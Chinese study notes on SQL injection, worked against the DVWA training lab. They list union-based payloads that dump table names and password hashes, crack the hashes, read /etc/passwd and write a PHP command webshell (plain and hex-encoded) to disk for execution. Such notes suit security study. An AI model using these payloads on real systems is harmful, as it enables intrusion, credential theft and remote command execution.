1 簡介
? ? 服務(wù)端程序?qū)⒂脩糨斎雲(yún)?shù)作為查詢條件,直接拼接SQL語句,并將查詢結(jié)果返回給客戶端瀏覽器
2 幾種測試方法
????2.1 基于報錯的檢測方法
????????‘ ” ( % ) 查看報錯信息確認(rèn)
????2.1 基于布爾的檢測
????????1' and '1
????????1' and '0? ? ??
????2.1 字段數(shù)/顯示位
????????' order by 字段數(shù)--+(通過猜測判斷字段數(shù))
????????union [all] select 1,2--+(通過聯(lián)合查詢判斷顯示位
????2.2 利用函數(shù)
? ? ? ? user():返回當(dāng)前用戶
? ? ? ? version():返回數(shù)據(jù)庫的版本號
? ? ? ? database():返回當(dāng)前數(shù)據(jù)庫名
? ? ? ? char():ASCII轉(zhuǎn)字符
? ? ? ? 全局函數(shù):@@datadir,@@hostname,@@version,@@version_compile_os
? ? ? ? concat_ws(x, s1,s2...sn):若是concat就沒有x這個分隔符,用來拼接字符串,eg:?id=' union select concat_ws(char(32,58,32),user(),database(),version()),null--
? ??????substring_index(s, delimiter, number):s是字符串[比如執(zhí)行函數(shù)后返回的結(jié)果],delimiter是分隔符,number返回的是第number個子串,eg:?id=' union select substring_index(user(),'@',1),null--
? ? ? ? 更多直接查文檔吧嘻嘻嘻
????2.3 關(guān)于infomation_schema(數(shù)據(jù)庫的元數(shù)據(jù))
? ? ? ? 所有庫的所有表
?????????id=' union select table_name,table_schema from information_schema.tables--
? ? ? ? 統(tǒng)計每個庫中表的數(shù)量
?????????id=' union select count(*),table_schema from information_schema.tables group by table_schema--
? ? ? ? dvwa中的表名
? ???????id=' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'--
? ? ? ? 爆users中的字段
?????????id=' union select table_name,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'--
? ? ? ? 爆用戶名密碼
? ???????id=' union select concat(user,char(32),password),null from dvwa.users--
? ? ? ? ps:關(guān)于dvwa爆出密碼的破解
? ? ? ? ? ? (1) 拷貝出密碼5f4dcc3b5aa765d61d8327deb882cf99,可首先使用hash-identifer識別為MD5,創(chuàng)建文件類似admin:5f4dcc3b5aa765d61d8327deb882cf99(爆數(shù)據(jù)時候用0x3a作為分隔符就可直接拷貝)
? ? ? ? ? ? (2)john --format=raw-MD5 dvwa破解(注,第二次運行加上--show參數(shù)可正確顯示出已破解密碼)
????2.3 讀寫文件及下載數(shù)據(jù)庫
? ? ? ? 讀取文件
? ???????id='%20union%20select%20null,load_file('/etc/passwd')--%20
? ? ? ? 寫入文件
? ??????' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/var/www/a.php"--
? ? ? ? 上面會發(fā)現(xiàn)沒有權(quán)限寫入文件,這是因為此處使用的的mysql進(jìn)程來進(jìn)行寫入的,mysql的進(jìn)程可以ps -aux|grep mysql看到,

????????而www的目錄權(quán)限為

? ? ? ? mysql進(jìn)程的user是mysql,所以沒有權(quán)限寫入文件,去掉目錄,直接寫入到默認(rèn)目錄
???????? union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile 'a.php'--
? ? ? ? 寫入成功,find / -name a.php發(fā)現(xiàn)上傳到了mysql進(jìn)程的指定目錄/var/lib/mysql下的dvwa目錄中,然而無用,dvwa的權(quán)限為

? ? ? ? 此時就求助于大家都有權(quán)限的臨時文件目錄/tmp,將a.php寫入到此目錄中
? ??????' union select null,"<?php passthru($_GET['cmd']); ?>" into dumpfile "/tmp/a.php"--
? ? ? ? 接著使用之前的文件包含漏洞就可成功進(jìn)行命令執(zhí)行
? ???????page=/tmp/a.php&cmd=id
? ? ? ? 技巧
? ? ? ? 使用16進(jìn)制編碼webshell,mysql在dumpfile寫入文件時會進(jìn)行轉(zhuǎn)換,可以使用
? ??????cat c.php | xxd -ps | tr -d '\n' [這其中的xxd -ps用來output in postscript plain hexdump style,tr -d用來刪除換行符,不然mysql會不能解析]
? ? ? ? 之后可以使用' union select null, (0x3c3f70687020706173737468727528245f4745545b27636d64275d293b203f3e0a) into dumpfile "/tmp/b.php"-- 上傳webshell,注意"null,"后面有一個空格
? ? ? ? 保存下載數(shù)據(jù)庫
? ??????' union select user,password from users into outfile "/tmp/a.db"--
????2.3? 無權(quán)讀取information_schema/拒絕union、order by語句
? ? ? ? 猜列名:' and column_name is null --+(可使用burp進(jìn)行爆破)
? ? ? ? 猜當(dāng)前表表名:’ table_name.column_name is null --+
? ? ? ? 猜庫里其他表:' and (select count(*) from a)>0--+
? ? ? ? 列表對應(yīng)關(guān)系:' table_name.column_name is null--+
? ? ? ? 猜字段內(nèi)容:' or user='admin,' or user like '%a%
? ? ? ? 猜賬號對應(yīng)密碼:' or user='admin' and password='md5blablabla'
????2.4 當(dāng)數(shù)據(jù)庫可寫
? ? ? ? 可直接update:update users set user='xxx' where user='admin
? ? ? ? 或者直接insert:insert into...,還刪除表等等,但是dvwa此處無法利用(sql客戶端工具的問題而非sql數(shù)據(jù)庫問題,kali下的HexorBase同理)
? ? ? ? xp_cmdshell:存儲過程
????2.4 關(guān)于medium級別和高安全級別
? ? ? ? 使用了mysql_real_escape_string()對\x00,\n,\r,\,',",\x1a進(jìn)行轉(zhuǎn)義
? ? ? ? 注:php 5.5.0已棄用該函數(shù),php 7.0.0已刪除該函數(shù)改用MySQLi,PDO_MySQL
? ? ? ? 但是此處源代碼中????$getid?=?"SELECT?first_name,?last_name?FROM?users?WHERE?user_id?=?$id"; 單引號不復(fù)存在,正常執(zhí)行注入即可,都不需要閉合
? ? ? ? 高安全級別中過濾了特殊字符,最重要的是對傳進(jìn)的參數(shù)類型做了判斷
? ??????????$id?=?stripslashes($id);?
????????????$id?=?mysql_real_escape_string($id);?
? ? ? ? ? ? if?(is_numeric($id)){......?